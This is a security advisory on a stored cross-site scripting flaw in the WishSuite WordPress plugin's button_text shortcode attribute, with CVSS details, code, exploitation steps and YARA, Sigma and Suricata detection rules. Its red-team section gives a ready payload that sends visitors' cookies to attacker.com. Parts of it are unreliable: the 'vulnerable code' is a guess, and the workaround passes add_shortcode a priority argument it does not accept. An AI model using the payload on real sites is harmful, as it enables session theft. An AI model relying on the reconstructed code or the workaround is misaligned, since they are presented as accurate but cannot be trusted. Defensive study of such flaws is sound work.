CVE-2025-13838

Executive Summary

CVE-2025-13838 is a Stored Cross-Site Scripting (XSS) vulnerability in the WishSuite WordPress plugin, affecting all versions up to and including 1.5.1. The flaw resides in the wishsuite_button shortcode, specifically within the button_text parameter. Due to insufficient input sanitization and output escaping, authenticated attackers with at least Contributor-level privileges can inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code exists, but the attack vector is straightforward for any authenticated WordPress user with content creation permissions.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impacts resources beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for privilege escalation via session theft elevate the risk for WordPress sites using this plugin.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress ecosystem. The wishsuite_button shortcode allows users to define custom button text via the button_text attribute. The plugin fails to properly sanitize this input before storing it in the database and fails to escape it when rendering the shortcode output.

Attack Flow:

1. An authenticated user with Contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts the shortcode: [wishsuite_button button_text="<script>alert('XSS')</script>"].
3. The plugin stores the malicious payload in the post content without sanitization.
4. When any user (including admins) views the post, the shortcode is processed, and the unsanitized button_text is output directly into the HTML, executing the script.

Root Cause: The plugin uses echo $button_text or similar without applying esc_html() or wp_kses_post() for output escaping, and does not sanitize the input with sanitize_text_field() or similar functions.

Vulnerable vs. Patched Code

Vulnerable Code (wishsuite.php or shortcode handler):

function wishsuite_button_shortcode($atts) {
    $atts = shortcode_atts(array('button_text' => 'Add to Wishlist'), $atts);
    $button_text = $atts['button_text'];
    // No sanitization or escaping
    return '<button class="wishsuite-btn">' . $button_text . '</button>';
}
add_shortcode('wishsuite_button', 'wishsuite_button_shortcode');

Patched Code (hypothetical):

function wishsuite_button_shortcode($atts) {
    $atts = shortcode_atts(array('button_text' => 'Add to Wishlist'), $atts);
    $button_text = sanitize_text_field($atts['button_text']); // Input sanitization
    return '<button class="wishsuite-btn">' . esc_html($button_text) . '</button>'; // Output escaping
}
add_shortcode('wishsuite_button', 'wishsuite_button_shortcode');

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with WishSuite plugin <= 1.5.1 installed and activated.
• An authenticated user account with Contributor-level privileges or higher.

Steps:

1. Log in to WordPress as a Contributor.
2. Create a new post or edit an existing one.
3. In the content editor (Text mode), insert the following shortcode:

   [wishsuite_button button_text="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
   

4. Publish or update the post.
5. When any user (including admins) views the post, the script executes, exfiltrating cookies to the attacker's server.

Proof of Concept (PoC) - Simple Alert:

[wishsuite_button button_text="<script>alert('XSS')</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing the shortcode [wishsuite_button with suspicious button_text values (e.g., containing <script>, onerror=, javascript:).
• Review WordPress database for stored XSS payloads in wp_posts.post_content.

Prevention:

• Disable or remove the WishSuite plugin until a patch is released.
• Implement a Web Application Firewall (WAF) rule to block requests containing wishsuite_button with script tags in the button_text parameter.
• Restrict Contributor-level users from using shortcodes via user role editing plugins.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/wishsuite/wishsuite.php (or main plugin file) – check for unsanitized shortcode handling.
• Database: wp_posts.post_content containing [wishsuite_button button_text="<script>...</script>"].
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (if cookie exfiltration occurs).
• Logs: WordPress debug log entries showing unexpected shortcode output.

Detection Engineering

YARA Rule

rule CVE_2025_13838_WishSuite_XSS {
    meta:
        description = "Detects stored XSS payloads in WishSuite plugin shortcode"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13838"
    strings:
        $shortcode = /\[wishsuite_button[^\]]*button_text\s*=\s*["'][^"']*<script[^>]*>/
        $payload = /<script[^>]*>.*?<\/script>/ nocase
    condition:
        $shortcode and $payload
}

Sigma Rule

title: CVE-2025-13838 - WishSuite Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via WishSuite shortcode in WordPress posts
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "wp-admin/post.php"
        http.body|contains: "[wishsuite_button"
        http.body|contains: "button_text="
        http.body|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of script tags in shortcode (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-13838 - WishSuite Stored XSS Payload"; flow:to_server,established; content:"[wishsuite_button"; http_client_body; content:"button_text="; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WishSuite plugin until an official patch is released.
2. Audit existing posts for malicious shortcode injections using the YARA rule above.
3. Reset passwords for all users who may have been affected (especially administrators).

Long-term Fix:

• The vendor must release a patched version that properly sanitizes and escapes the button_text parameter.
• As a workaround, developers can add a custom filter to override the shortcode:

  add_shortcode('wishsuite_button', function($atts) {
      $atts = shortcode_atts(array('button_text' => 'Add to Wishlist'), $atts);
      return '<button class="wishsuite-btn">' . esc_html(sanitize_text_field($atts['button_text'])) . '</button>';
  }, 999);
  

General Best Practices:

• Always use esc_html(), esc_attr(), or wp_kses_post() when outputting user-controlled data.
• Sanitize input with sanitize_text_field() or wp_kses().
• Restrict shortcode usage to trusted user roles only.

Valters IT
Securing Digital Frontiers